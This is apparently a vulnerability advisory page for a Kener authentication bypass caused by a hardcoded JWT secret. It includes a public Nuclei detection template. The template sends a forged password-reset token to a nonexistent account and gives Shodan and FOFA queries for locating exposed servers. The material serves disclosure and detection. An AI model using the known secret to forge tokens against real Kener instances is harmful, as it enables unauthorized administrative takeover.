CVE-2026-116747: Kener - Authentication Bypass

2026-11-11 PoC Public

Description

Kener 3.0.0 before 4.1.10 falls back to the hardcoded JWT secret "DUMMY_SECRET" when the KENER_SECRET_KEY environment variable is unset or empty. An unauthenticated attacker can forge session cookies and password-reset tokens signed with that key. A forged password-reset token accepted by POST /account/forgot/api/password-reset produces a distinct response: the request passes token verification and fails only later at user lookup ("User does not exist"), whereas patched versions reject the token signature immediately with "Invalid or expired token".

Details

CVE
CVE-2026-116747 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-116747

info:
  name: Kener - Authentication Bypass
  author: kosoyyagent
  severity: critical
  description: |
    Kener 3.0.0 before 4.1.10 falls back to the hardcoded JWT secret "DUMMY_SECRET" when the KENER_SECRET_KEY environment variable is unset or empty. An unauthenticated attacker can forge session cookies and password-reset tokens signed with that key. A forged password-reset token accepted by POST /account/forgot/api/password-reset produces a distinct response: the request passes token verification and fails only later at user lookup ("User does not exist"), whereas patched versions reject the token signature immediately with "Invalid or expired token".
  impact: |
    Unauthenticated attackers can gain full administrative privileges and forge password-reset tokens, compromising system security.
  remediation: |
    Update to version 4.1.10 or later.
  reference:
    - https://github.com/rajnandan1/kener/commit/ff636483544c926eab5b5e3e26b811c0f52bcaf8
    - https://github.com/rajnandan1/kener/issues/871
    - https://nvd.nist.gov/vuln/detail/CVE-2026-116747
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 8.1
    cve-id: CVE-2026-116747
    cwe-id: CWE-321
  metadata:
    max-request: 1
    vendor: rajnandan1
    product: kener
    shodan-query: title:"Kener"
    fofa-query: title="Kener"
  tags: cve,cve2026,kener,auth-bypass,jwt

http:
  - method: POST
    path:
      - "{{BaseURL}}/account/forgot/api/password-reset"
    headers:
      Content-Type: application/json
    body: '{"receivedToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6Im51Y2xlaS1wcm9iZS1ub25leGlzdGVudEBpbnZhbGlkLmludmFsaWQiLCJnZW5lcmF0ZWRBdCI6NDEwMjQ0NDgwMDAwMH0.MIKp32FOJN5duVN9qWDiJCa9HbQwt_---tM2YN93B1o","newPassword":"NucleiProbe123"}'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "User does not exist"

      - type: status
        status:
          - 401
# digest: 4b0a00483046022100e8554911cee6e71acdc8b3d1be4c95fe44f0afe4a92b83cd74bb7487dc39392a022100fb2488b940fa285d240551cc203ec30662c0915ab3fc79b1cbdd0d253a1da317:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life